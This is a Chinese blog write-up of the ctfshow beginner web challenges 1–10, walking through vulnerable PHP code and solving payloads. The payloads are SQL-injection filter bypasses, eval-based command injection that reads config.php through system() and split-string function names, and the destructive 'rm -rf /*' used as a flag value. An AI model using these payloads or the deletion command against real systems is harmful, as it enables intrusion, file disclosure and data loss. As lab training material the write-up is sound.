ctfshow萌新web1-10
前言
水文一篇,之前无聊做的,偶尔看见了,今天闲着无聊排了排版发出来了,入门题都算不上,顾名思义萌新。
web1-web4
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
使用了intval($id)
函数来对输入的id进行判断,同时代码中并未对一些符号进行过滤,那么方法就比较多了,先来了解与喜爱intval
这个函数
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。intval()
不能用于object,否则会产生 E_NOTICE 错误并返回 1。
PHP 4, PHP 5, PHP 7
语法 int intval ( mixed $var [, int $base = 10 ] )
参数说明: $var:要转换成 integer 的数量值。 $base:转化所使用的进制。(默认是十进制)
如果 base 是 0,通过检测 var 的格式来决定使用的进制: 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制
(hex);否则, 如果字符串以 “0” 开始,使用 8 进制(octal);否则, 将使用 10 进制 (decimal)。 返回值
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到
2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64
位系统上,最大带符号的 integer 值是 9223372036854775807。
字符串有可能返回 0,虽然取决于字符串最左侧的字符。
例如我们这里简单试一下这个函数,大家就可以知道这个函数的作用了
<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42.88, 8); // 42//思路:这里是先将42.88取整,取整后为42,因为不是字符串,将42当做10进制数转换,转换成10进制数,也就是本身,最后结果42
echo intval('42', 8); // 34//思路:因为这个是字符串,base有效,将42当做8进制数转换成十进制数
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>
那么第一题的代码没有进行任何过滤,那么就直接?id='1000'
即可成功绕过
1-4题都可用这个payload
进行绕过
web5
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
第五关关键代码,执行正则表达式匹配进行过滤,关键代码如下
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
若出现符号,就输出id error
并die
,那么我们就不能用'1000'
进行绕过了,因为过滤掉了
想一下别的并且未被过滤的方法,使用^按位异或来绕过,1000的二进制为1111101000 那么分为1111000000(960)和101000(40) 键入?id=960^40
即可绕过
web6
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
将^也过滤掉了,想别的办法,通过~~进行取反来绕过
http://340d2f68-fd30-45ad-a880-07b0f3c6ce3c.challenge.ctf.show/?id=~~1000
web7
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
可以看到~符合也加到了preg_match
中,那么就无法使用~~取反来进行绕过了,直接二进制进行输出1000即可,注意要加上0b来进行二进制运算,如若不加上会爆id error
web8
第8题我想半天也没想出来,看了师傅的wp才看明白是什么意思,删库跑路属于是(谁能想到我超)
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){
if(isset($_GET['flag'])){
$f = $_GET['flag'];
if($key===$f){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
</body>
</html>
删库的命令相信大家并不陌生,?flag=rm -rf /*
阿呆删库跑路啦
web9
很简单的一个命令注入,由于我把php是后端语言给忘了,导致我以为执行失败,卡了好久,无语子
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
给出了源码,观察一下发现system|exec|highlight
三个函数可以使用,传入参数c即可,尝试构造payload
?c=system('ls'); //查看目录下文件,题目也给出提示在config.php中
那么直接构造payload读取config.php
文件即可
?c=system('cat config.php'); //config.php是php文件,所以会在源代码中显示,不会直接在网页上显示,我就是因为这个找原因找了半天
web10
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight/i",$c)){ //将这三个函数过滤掉了
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
函数过滤掉,通过其他方法绕过过滤,例如php中的多重定义方法,当然也有其他方法就不再举例了
?c=$a='sys';$b='tem';$d=$a.$b;$d('ls'); //进行目录读取,通过将system函数进行定义然后拼接进行绕过即可
?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');